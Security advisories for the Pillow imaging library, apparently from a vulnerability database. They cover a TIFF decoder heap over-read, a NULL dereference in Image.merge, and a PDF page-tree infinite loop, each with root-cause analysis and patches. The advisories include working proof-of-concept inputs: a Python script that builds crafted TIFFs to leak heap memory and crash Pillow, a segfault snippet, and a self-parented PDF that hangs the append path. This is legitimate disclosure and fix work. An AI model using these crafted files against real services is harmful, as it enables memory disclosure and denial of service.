Note also that the existing one-sided check at line 434 multiplies the file-controlled tile_width/tile_length (UINT32, accepted up to INT_MAX at line 428) by state->bits in 32-bit unsigned arithmetic, so tile_width * state->bits wraps for tile_width ≥ 2^32 / bits (2^26 for the 64-bit rawmodes, 2^27 for RGBX/I;32/F;32F). An 8 KB file declaring a 2,097,152×1 image with TILEWIDTH = 2^26+16, TILELENGTH = 1, 1-bit data for libtiff and RGBA;16N for Pillow makes libtiff allocate an ~8 MB tile from which unpackRGBA16L reads 16 MB, and the stock build SIGSEGVs in unpackRGBA16L ← _decodeTile (TiffDecode.c:483); a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type.

Compare the strip path, which refuses this situation (added for OSS-Fuzz crash-0da0 in 8.2.0):

// src/libImaging/TiffDecode.c:528-548  (_decodeStrip)
    unpacker_row_byte_size = (state->xsize * state->bits / planes + 7) / 8;
    …
    row_byte_size = TIFFScanlineSize(tiff);
    // if the unpacker calculated row size is > row byte size, (at least) the last
    // row of the strip will have a read buffer overflow.
    if (row_byte_size == 0 || unpacker_row_byte_size > row_byte_size) {
        state->errcode = IMAGING_CODEC_BROKEN;
        return -1;
    }

The identical file written with one strip instead of one tile fails load() with OSError: decoder error -2 because of this check.

Same gap in _decodeAsRGBA()

_decodeAsRGBA() always produces img.width * 4 bytes per row (TiffDecode.c:325, buffer allocated at line 339) and unpacks with state->shuffle (line 373) without looking at state->bits. It is reached when libtiff sees YCbCr while Pillow does not force RGBX. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow's ImageFileDirectory_v2.load() overwrites (TiffImagePlugin.py:945, last wins). The reproducer's ycbcr_dup.tif is a 16x16 Deflate strip with PhotometricInterpretation present twice (6, then 2) and BitsPerSample twice (8,8,8, then 16,16,16): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects RGB;16N (state->bits = 48), and unpackRGB16L reads 96 bytes per 64-byte row — ASan reports heap-buffer-overflow in unpackRGB16L (Unpack.c:609) from TiffDecode.c:373, past the 1024-byte region from TiffDecode.c:339.

The count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample photo == 6 file only gets rawmode RGBX since the unreleased commit 155330d63 ("Do not open YCbCr colorspace images as RGB without libtiff (#​9779)", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two PhotometricInterpretation entries (1 or 2, then 6) produces the same copy4 ← _decodeTile over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps 6 and unpacks 4 (the reproducer's tile_dup.tif). ycbcr_dup.tif above reaches _decodeAsRGBA() the same way.

Impact

Any application that calls Image.open() + load() (or thumbnail(), convert(), save(), …) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and TiffDecode.c without READ_LIBTIFF being set. The over-read bytes are copied into the image's pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included — up to three libtiff tile rows past the buffer for the RGBX-over-8-bit case, with the tile row length (TileWidth) chosen by the attacker. state->buffer is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about (unpacker_bpp / libtiff_bpp − 1) tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized Imaging rows, so this is disclosure / crash, not memory corruption.

This is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in TiffDecode.c); that fix and the later crash-0da0 fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow's rawmode over libtiff's row size. The tile-path gap was introduced in 1c295bf43c3a ("Check for dimensions and sizes to fit into int", 2021-01-25), which switched _decodeTile() from a buffer sized by Pillow's unpacker to TIFFTileSize()/TIFFTileRowSize(); it is first in Pillow 8.2.0. The _decodeAsRGBA() half dates from eb8c1206d6b1 ("Fix CVE-2020-35654 - OOB Write in TiffDecode.c"), first in 8.1.0.

Reproducing

Run repro (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end.

The script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and TiffDecode.c. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process:

  • tile_count2.tif: a 16x16, 1-sample, 8-bit tile with PhotometricInterpretation written as SHORT count 2, (6, 6). Pillow keeps 6 and unpacks with copy4 (RGBX, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased).
  • tile_dup.tif: a 16x16, 3-sample, 8-bit tile with PhotometricInterpretation present twice, 2 then 6. libtiff keeps 2 (RGB, 3 bytes per pixel) and Pillow keeps 6 (RGBX, 4 bytes per pixel). This variant also applies to released versions.
  • ycbcr_dup.tif: the 16x16 strip with BitsPerSample 8,8,8 then 16,16,16 and PhotometricInterpretation 6 then 2. libtiff decodes 8-bit YCbCr through _decodeAsRGBA() (4 bytes per pixel), and Pillow unpacks RGB;16N with unpackRGB16L (6 bytes per pixel).
  • tile_big.tif: the tile_count2.tif layout with a single 65536x16 tile.

For each of the first three files, the script runs Image.open() + load() + tobytes() twice, once with MALLOC_PERTURB_=85 and once with =170. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the aa/55 fill bytes show up, along with heap pointer bytes. The script then decodes tile_big.tif and checks for a SIGSEGV (exit status -11). If gdb is available, it prints the top frames: copy4 (Unpack.c:1290) ← _decodeTile (TiffDecode.c:483) ← ImagingLibTiffDecode. This crash depends on ASLR, so an occasional run may survive.

Each step prints which _imaging build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is BUG if any file leaked heap bytes into its pixels or the big tile crashed the process. Otherwise it is OK.

Suggested fix

The attached patch restores the _decodeStrip() invariant (the unpacker's input row must fit inside libtiff's row) in the two sibling decoders in src/libImaging/TiffDecode.c, at the point where each one sizes its buffer:

  • _decodeTile() computes unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8 (the tsize_t cast keeps the product out of 32-bit arithmetic, so the TILEWIDTH = 2^26+16 case above cannot wrap past the check on 64-bit builds). It reuses that value for the existing TIFFTileSize() sanity check, as _decodeStrip() does for strips. After that check and before the realloc, it fails with IMAGING_CODEC_BROKEN when unpacker_row_byte_size > row_byte_size (TIFFTileRowSize()).
  • _decodeAsRGBA() fails with IMAGING_CODEC_BROKEN when state->bits > 32, because TIFFRGBAImage rows are always 32 bits per pixel. This check runs before TIFFRGBAImageBegin() and any allocation.

With the patch, the tile and RGBA files fail load() with OSError: decoder error -2, the same result the equivalent strip file already gets. The patch also adds a regression test to Tests/test_file_libtiff.py (test_unpacker_row_wider_than_libtiff_row). The test embeds the count-2 tile and the duplicated-tag YCbCr strip as base64, following the file's existing convention. The patch was applied to a clean tree and rebuilt: the reproducer no longer triggers, and Tests/test_file_tiff.py, Tests/test_file_libtiff.py and Tests/test_tiff_crashes.py pass.

These checks close the over-read however the two parsers are made to disagree. Separately, _setup() could stop deriving the libtiff rawmode from tags that libtiff will read differently — e.g. treat a PhotometricInterpretation/BitsPerSample/Compression that is not a single well-typed value as "unknown pixel mode", the way ImageWidth/ImageLength are already required to be int at TiffImagePlugin.py:1473, or have ImageFileDirectory_v2.load() keep the first occurrence of a repeated tag as libtiff does (a behaviour change for malformed IFDs that is better made deliberately and separately) — but that only narrows the ways to reach the C-side gap rather than removing it: TiffImagePlugin cannot know how libtiff will resolve every malformed directory, and the decoder-side comparisons are what actually bound the read.

The patch

Reject TIFFs whose unpacker row is wider than libtiff's decoded row in _decodeTile() and _decodeAsRGBA(), as _decodeStrip() already does

Applies to src/libImaging/TiffDecode.c at the commit above.

diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..c08dfe77c 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -1232,6 +1232,50 @@ class TestFileLibTiff(LibTiffTestCase):
             with pytest.raises(OSError, match="decoder error -9"):
                 im.load()
 
+    @pytest.mark.parametrize(
+        "data",
+        (
+            # 16x16 8-bit greyscale tile, with a PhotometricInterpretation tag that
+            # has two values. Pillow reads it as YCbCr (rawmode RGBX, 4 bytes/pixel)
+            # while libtiff ignores it and decodes 1 byte/pixel.
+            (
+                b"SUkqAAgAAAAKAAABBAABAAAAEAAAAAEBBAABAAAAEAAAAAIBAwABAAAACAAA"
+                b"AAMBAwABAAAACAAAAAYBAwACAAAABgAGABUBAwABAAAAAQAAAEIBBAABAAAA"
+                b"EAAAAEMBBAABAAAAEAAAAEQBBAABAAAAhgAAAEUBBAABAAAACwEAAAAAAAB4"
+                b"nAEAAf/+AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUm"
+                b"JygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJT"
+                b"VFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+A"
+                b"gYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6yt"
+                b"rq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna"
+                b"29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+foAAQIDBJ9Bepo="
+            ),
+            # 16x16 strip with duplicated BitsPerSample and PhotometricInterpretation
+            # tags. libtiff keeps the first (8-bit YCbCr, read as 4 bytes/pixel RGBA)
+            # while Pillow keeps the last (16-bit RGB, rawmode RGB;16N, 6 bytes/pixel).
+            (
+                b"SUkqAAgAAAAMAAABAwABAAAAEAAAAAEBAwABAAAAEAAAAAIBAwADAAAAugEA"
+                b"AAIBAwADAAAAwAEAAAMBAwABAAAACAAAAAYBAwABAAAABgAAAAYBAwABAAAA"
+                b"AgAAABEBBAABAAAAngAAABUBAwABAAAAAwAAABYBAwABAAAAEAAAABcBBAAB"
+                b"AAAAHAEAABICAwACAAAAAQABAAAAAAB4nGNgZGJmYWVj5+Dk4ubh5eMXEBQS"
+                b"FhEVE5eQlJKWkZWTV1BUUlZRVVPX0NTS1tHV0zcwNDI2MTUzt7C0sraxtbN3"
+                b"cHRydnF1c/fw9PL28fXzDwgMCg4JDQuPiIyKjomNi09ITEpOSU1Lz8jMys7J"
+                b"zcsvKCwqLiktK6+orKquqa2rb2hsam5pbWvv6Ozq7unt658wcdLkKVOnTZ8x"
+                b"c9bsOXPnzV+wcNHiJUuXLV+xctXqNWvXrd+wcdPmLVu3bd+xc9fuPXv37T9w"
+                b"8NDhI0ePHT9x8tTpM2fPnb9w8dLlK1evXb9x89btO3fv3X/w8NHjJ0+fPX/x"
+                b"8tXrN2/fvf/w8dPnL1+/ff/x89fvP3///WcY9f+I9j8AoGJ+kAgACAAIABAA"
+                b"EAAQAA=="
+            ),
+        ),
+    )
+    @pytest.mark.filterwarnings("ignore:Metadata Warning")
+    def test_unpacker_row_wider_than_libtiff_row(self, data: bytes) -> None:
+        # The unpacker chosen by Pillow reads more bytes per row than libtiff
+        # decoded, so the decoder must reject the image rather than read past
+        # the end of its buffer
+        with Image.open(io.BytesIO(base64.b64decode(data))) as im:
+            with pytest.raises(OSError, match="decoder error -2"):
+                im.load()
+
     @pytest.mark.parametrize("compression", ("tiff_adobe_deflate", "jpeg"))
     def test_save_multistrip(self, compression: str, tmp_path: Path) -> None:
         im = hopper("RGB").resize((256, 256))
diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c
index 8a57c523d..2ee6c5f0a 100644
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ -304,6 +304,15 @@ _decodeAsRGBA(Imaging im, ImagingCodecState state, TIFF *tiff) {
 
     TRACE(("RowsPerBlock: %u \n", rows_per_block));
 
+    // TiffRGBAImages are 32bits/pixel. If the unpacker reads more bits per pixel
+    // than that, (at least) the last row of the block will have a read buffer
+    // overflow.
+    if (state->bits > 32) {
+        TRACE(("Decode Error, unpacker bits %d > 32\n", state->bits));
+        state->errcode = IMAGING_CODEC_BROKEN;
+        return -1;
+    }
+
     if (!(TIFFRGBAImageOK(tiff, emsg) && TIFFRGBAImageBegin(&img, tiff, 0, emsg))) {
         TRACE(("Decode error, msg: %s", emsg));
         state->errcode = IMAGING_CODEC_BROKEN;
@@ -397,7 +406,7 @@ _decodeTile(
 ) {
     INT32 x, y, tile_y, current_tile_length, current_tile_width;
     UINT32 tile_width, tile_length;
-    tsize_t tile_bytes_size, row_byte_size;
+    tsize_t tile_bytes_size, row_byte_size, unpacker_row_byte_size;
     UINT8 *new_data;
 
     tile_bytes_size = TIFFTileSize(tiff);
@@ -431,7 +440,8 @@ _decodeTile(
         return -1;
     }
 
-    if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) {
+    unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8;
+    if (tile_bytes_size > (unpacker_row_byte_size * tile_length)) {
         // If the tile size as expected by LibTiff isn't what we're expecting, abort.
         // man:   TIFFTileSize returns the equivalent size for a tile of data as it
         // would be returned in a call to TIFFReadTile ...
@@ -439,6 +449,13 @@ _decodeTile(
         return -1;
     }
 
+    // if the unpacker calculated row size is > row byte size, (at least) the last
+    // row of the tile will have a read buffer overflow.
+    if (unpacker_row_byte_size > row_byte_size) {
+        state->errcode = IMAGING_CODEC_BROKEN;
+        return -1;
+    }
+
     state->bytes = tile_bytes_size;
 
     TRACE(("TIFFTileSize: %d\n", state->bytes));
The reproducer
Reproducer — repro, 4,178 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
##### Heap over-read in _decodeTile()/_decodeAsRGBA() (src/libImaging/TiffDecode.c), stock build,

##### no sanitizer needed.  Pillow picks the row unpacker from its own IFD parse, libtiff sizes the
##### decode buffer from its parse; when they disagree the unpacker reads past state->buffer and the

##### bytes land in the image.  Evidence: (1) pixels of a fully-defined 16x16 file change with glibc's
##### MALLOC_PERTURB_ fill byte (heap bytes beyond the buffer became pixels); (2) a 65536x16 tile

##### SIGSEGVs in copy4 <- _decodeTile.  Runs in a few seconds.
import os, shutil, struct, subprocess, sys, tempfile, zlib

W = tempfile.mkdtemp(); S, L = 3, 4

def tiff(entries, data):                      # little-endian classic TIFF, one IFD, tags in given order
    data_off = 8 + 2 + 12 * len(entries) + 4; extra_off = data_off + len(data)
    ifd, extra = struct.pack("<H", len(entries)), b""
    for tag, typ, vals in entries:
        if vals is None: typ, vals = L, [data_off]
        raw = b"".join(struct.pack("<H" if typ == S else "<L", v) for v in vals)
        if len(raw) > 4: raw, extra = struct.pack("<L", extra_off + len(extra)), extra + raw
        ifd += struct.pack("<HHL", tag, typ, len(vals)) + raw.ljust(4, b"\0")
    return b"II*\0" + struct.pack("<L", 8) + ifd + b"\0" * 4 + data + extra

def tile(w, h, spp, photo):                   # one deflate tile, 8 bit/sample
    d = zlib.compress(bytes(i % 251 for i in range(w * h * spp)))
    return tiff([(256, L, [w]), (257, L, [h]), (258, S, [8] * spp), (259, S, [8])] + photo +
                [(277, S, [spp]), (322, L, [w]), (323, L, [h]), (324, L, None), (325, L, [len(d)])], d)

d = zlib.compress(bytes(range(256)) * 3)
files = {
  # Photometric count 2 (6,6): libtiff ignores tag -> 1 B/px; Pillow keeps 6 -> RGBX copy4 4 B/px (HEAD only)
  "tile_count2.tif": tile(16, 16, 1, [(262, S, [6, 6])]),
  # Photometric duplicated 2 then 6, 3 samples: libtiff RGB 3 B/px; Pillow RGBX 4 B/px (also released versions)
  "tile_dup.tif": tile(16, 16, 3, [(262, S, [2]), (262, S, [6])]),
  # strip, libtiff sees 8-bit YCbCr -> _decodeAsRGBA 4 B/px; Pillow sees RGB;16 -> 6 B/px
  "ycbcr_dup.tif": tiff([(256, S, [16]), (257, S, [16]), (258, S, [8, 8, 8]), (258, S, [16, 16, 16]), (259, S, [8]),
        (262, S, [6]), (262, S, [2]), (273, L, None), (277, S, [3]), (278, S, [16]), (279, L, [len(d)]),
        (530, S, [1, 1])], d),
  "tile_big.tif": tile(65536, 16, 1, [(262, S, [6, 6])]),
}
for n, b in files.items():
    open(f"{W}/{n}", "wb").write(b)

LOAD = r"""
import sys, warnings; warnings.simplefilter("ignore")
from PIL import Image
im = Image.open(sys.argv[1]); print(Image.core.__file__, im.mode, im.size, im.tile[0].args[0], file=sys.stderr)
im.load(); sys.stdout.write(im.tobytes().hex())
"""
def run(name, perturb):
    p = subprocess.run([sys.executable, "-c", LOAD, f"{W}/{name}"], capture_output=True, text=True,
                       env=dict(os.environ, MALLOC_PERTURB_=str(perturb)))
    return p.returncode, p.stdout, p.stderr.strip().splitlines()[-1:] or [""]

leak = False
for n in ("tile_count2.tif", "tile_dup.tif", "ycbcr_dup.tif"):
    r1, a, info = run(n, 85); r2, b, _ = run(n, 170)
    print(f"== {n}: {info[0]} rc={r1},{r2}")
    if r1 == 0 and r2 == 0 and a != b:
        i = next(k for k in range(0, len(a), 2) if a[k:k+2] != b[k:k+2])
        print(f"   pixel bytes depend on malloc fill pattern from byte {i//2} of {len(a)//2}:")
        print(f"   PERTURB=85 : ...{a[i-8:i+40]}\n   PERTURB=170: ...{b[i-8:i+40]}")
        leak = True
    else:
        print("   identical output / error -> no leak observed")

rc, _, info = run("tile_big.tif", 0)
print(f"== tile_big.tif: {info[0]} rc={rc}" + ("  (SIGSEGV)" if rc == -11 else ""))
crash = rc == -11
if crash and shutil.which("gdb"):
    bt = subprocess.run(["gdb", "-batch", "-ex", "run", "-ex", "bt 4", "--args", sys.executable, "-c", LOAD,
                         f"{W}/tile_big.tif"], capture_output=True, text=True).stdout
    print("\n".join(l for l in bt.splitlines() if l.startswith("#")))
shutil.rmtree(W)
print(f"summary: heap bytes in pixels={leak} stock SIGSEGV={crash}")
print("BUG" if leak or crash else "OK")

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0

BIT-pillow-2026-112405 / CVE-2026-112405 / GHSA-cp9v-662q-vvx9 / PYSEC-2026-4333

More information

Details

Summary

Image.merge() checks the mode of every input band except band 0. If band 0 is a single-band I or F image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain Image.open() followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.

Details

The validation loop skips band 0:

  • src/PIL/Image.py:3795 iterates for band in bands[1:] and checks mode and size only for those.

For an I or F image the 8-bit plane image8 is NULL (only image32 is set). ImagingMerge dereferences bands[0]->image8[y] for the multi-band output modes:

  • src/libImaging/Bands.c:302, :311, :321

The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:

  • src/PIL/IptcImagePlugin.py:156-160
  • src/PIL/IptcImagePlugin.py:169 registers the opener with no accept function.
PoC
from PIL import Image

##### Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only

##### bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.
band0 = Image.new("I", (4, 4))
Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))])

Run it:

$ python 02_poc.py
Segmentation fault (core dumped)

Observed on a source build of commit 3e2ab96.

Under AddressSanitizer:

==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
    #&#8203;0 ImagingMerge   src/libImaging/Bands.c:311
    #&#8203;1 _merge         src/_imaging.c:2492
SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge

The null address confirms the dereference of the missing image8 plane for band 0.

Impact

NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle

BIT-pillow-2026-112406 / CVE-2026-112406 / GHSA-f2g6-542v-9j58

More information

Details

============================================================================
Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle
Location: src/PIL/PdfParser.py:505  in PdfParser.rewrite_pages()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

A PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls im.save(fp, "PDF", append=True) (or save_all=True, append=True) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.

The bug is in PdfParser.rewrite_pages() in src/PIL/PdfParser.py (the while pages_tree_node_ref: loop at line 505). For each original page, it walks the /Parent chain upward and stops only when it reaches a node with no /Parent. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a /Pages root that lists itself as its own /Parent; a longer cycle among page-tree nodes behaves the same way. The path is PdfImagePlugin._save() → write_catalog() → rewrite_pages(), and it is reached whether the save target is a file path or a BytesIO. Plain Image.open() pipelines are not affected, because Pillow only parses PDFs on the append path.

This is a sibling of CVE-2026-42310 (the cyclic trailer /Prev loop in the same parser). The processed_offsets guard added to read_prev_trailer() for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.

The attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside rewrite_pages() when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.

Details

PdfParser.rewrite_pages() walks the /Parent chain of every pre-existing page upward and stops only when a node has no /Parent. It keeps no record of visited nodes, so a page-tree node whose /Parent points at itself, or at any node below it, makes the walk spin forever.

The following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares /Parent 2 0 R:

%PDF-1.4
1 0 obj
<</Type /Catalog /Pages 2 0 R>>
endobj
2 0 obj
<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>
endobj
3 0 obj
<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>
endobj
xref
0 4
0000000000 65535 f 
0000000009 00000 n 
0000000056 00000 n 
0000000125 00000 n 
trailer
<</Size 4 /Root 1 0 R>>
startxref
192
%%EOF

Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened r+b). Interrupting it with SIGALRM after 5 s gives this traceback every time:

  File "src/PIL/PdfImagePlugin.py", line 263, in _save
    existing_pdf.write_catalog()
  File "src/PIL/PdfParser.py", line 473, in write_catalog
    self.rewrite_pages()
  File "src/PIL/PdfParser.py", line 505, in rewrite_pages
    while pages_tree_node_ref:

The same file without /Parent 2 0 R on object 2 is appended to in ~30 ms.

The loop:


##### src/PIL/PdfParser.py:483-510
def rewrite_pages(self) -> None:
    pages_tree_nodes_to_delete = []
    for i, page_ref in enumerate(self.orig_pages):
        page_info = self.cached_objects[page_ref]
        del self.xref_table[page_ref.object_id]
        pages_tree_nodes_to_delete.append(page_info[PdfName(b"Parent")])
        …
    # delete redundant Pages tree nodes from xref table
    for pages_tree_node_ref in pages_tree_nodes_to_delete:
        while pages_tree_node_ref:
            pages_tree_node = self.cached_objects[pages_tree_node_ref]
            if pages_tree_node_ref.object_id in self.xref_table:
                del self.xref_table[pages_tree_node_ref.object_id]
            pages_tree_node_ref = pages_tree_node.get(b"Parent", None)
    self.orig_pages = []

How the input gets there: with append=True, PdfImagePlugin._save() opens the existing bytes with PdfParser.PdfParser(f=fp, …, mode="r+b") (src/PIL/PdfImagePlugin.py:199), whose constructor calls read_pdf_info(). That reads the catalog, reads the page-tree root through read_indirect() — which stores every object it reads in self.cached_objects (src/PIL/PdfParser.py:1077) — and flattens the tree with linearize_page_tree(), which read_indirect()s every /Kids entry. So after parsing, orig_pages == [3 0 R] and objects 2 and 3 are both in cached_objects. _save() then calls existing_pdf.write_catalog() → rewrite_pages().

For the file above, the first loop puts page 3's /Parent, 2 0 R, into pages_tree_nodes_to_delete. The inner while looks object 2 up in cached_objects, removes it from the xref table on the first pass, and sets pages_tree_node_ref to object 2's /Parent — which is 2 0 R again. Nothing in the loop body changes on subsequent iterations, so it never exits: cached_objects[2 0 R] is never evicted, and deleting an already-deleted id from XrefTable is silent — __delitem__ only records the id in deleted_entries, while __contains__ keeps answering from existing_entries. The loop performs no I/O and no allocation, so neither MemoryError nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through linearize_page_tree() and is therefore cached (e.g. root 2 → /Kids [4 0 R], node 4 → /Kids [3 0 R] /Parent 2 0 R, and root 2 declaring /Parent 4 0 R); a /Parent pointing at an object that was never read raises KeyError instead, which is harmless.

The parser already defends against exactly this shape of problem one level up: read_prev_trailer() (src/PIL/PdfParser.py:699-722) carries a processed_offsets list and raises PdfFormatError("trailer loop found") when a /Prev offset repeats — the fix for CVE-2026-42310. The /Parent walk in rewrite_pages() has no equivalent guard.

The unguarded walk was introduced in 24ecfe315ab5 ("issue #​2959: fix wrong Parent of pre-existing Page objects when appending", 2018-03-03) and has been in every release since 5.1.0.

Impact

Any application that appends pages to a PDF it did not produce — im.save(fp, "PDF", append=True) or save_all=True, append=True on a user-supplied document — hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain Image.open() pipelines are not affected.

This is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer /Prev chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it.

Reproducing

repro is a single Python script that runs against the installed Pillow (/src/src/PIL). It needs no build step and no companion files, and takes about 5 seconds.

The script builds two one-page PDFs in memory with make_pdf(). Each has a Catalog (object 1), a /Pages root (object 2) and a /Page (object 3), and each has a correct xref table. The only difference between them is in object 2:

  • control has <</Type /Pages /Kids [3 0 R] /Count 1>>. This is a normal file.
  • cyclic has <</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>, so the page-tree root names itself as its own /Parent. This is the 333-byte file shown above.

For each PDF the script prints the bytes and then calls Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) under a 5-second SIGALRM watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints OK without giving a verdict.

Expected output on this commit (PDF dumps omitted):

[control] append finished in 0.045s
[cyclic] still running after 5s, interrupted in:
    save()  /src/src/PIL/Image.py:2724  save_handler(self, fp, filename)
    _save()  /src/src/PIL/PdfImagePlugin.py:263  existing_pdf.write_catalog()
    write_catalog()  /src/src/PIL/PdfParser.py:473  self.rewrite_pages()
    rewrite_pages()  /src/src/PIL/PdfParser.py:506  pages_tree_node = self.cached_objects[pages_tree_node_ref]
    ...
BUG

The innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505–509. The rewrite_pages() frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints OK. With attached patch 1 applied it prints [cyclic] append finished in 0.001s and OK. With attached patch 2 it prints [cyclic] raised PdfFormatError: page tree loop found and OK. The last line is BUG only when the cyclic append is still running when the watchdog fires.

Suggested fix

Both attached patches fix the root cause, which is that the /Parent walk in rewrite_pages() keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file.

Attached patch 1 (tolerant; our preference) adds one processed_pages_tree_nodes set that is shared across all pages in the delete loop, and breaks out of the while as soon as it reaches a node it has already seen:


##### src/PIL/PdfParser.py, rewrite_pages()
        processed_pages_tree_nodes: set[IndirectReference] = set()
        for pages_tree_node_ref in pages_tree_nodes_to_delete:
            while pages_tree_node_ref:
                if pages_tree_node_ref in processed_pages_tree_nodes:
                    break
                processed_pages_tree_nodes.add(pages_tree_node_ref)
                …

Breaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page.

Attached patch 2 (strict) follows the read_prev_trailer() guard from the CVE-2026-42310 fix. It keeps a processed_pages_tree_nodes list for each page and calls check_format_condition(pages_tree_node_ref not in processed_pages_tree_nodes, "page tree loop found"), so a cyclic file is rejected with PdfFormatError. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from write_catalog(). By then the new page objects have already been written to the r+b file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state.

Each patch also adds a test_page_tree_parent_loop regression test to Tests/test_pdfparser.py. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other /Parent walk exists in the parser, and linearize_page_tree() does not follow /Parent.

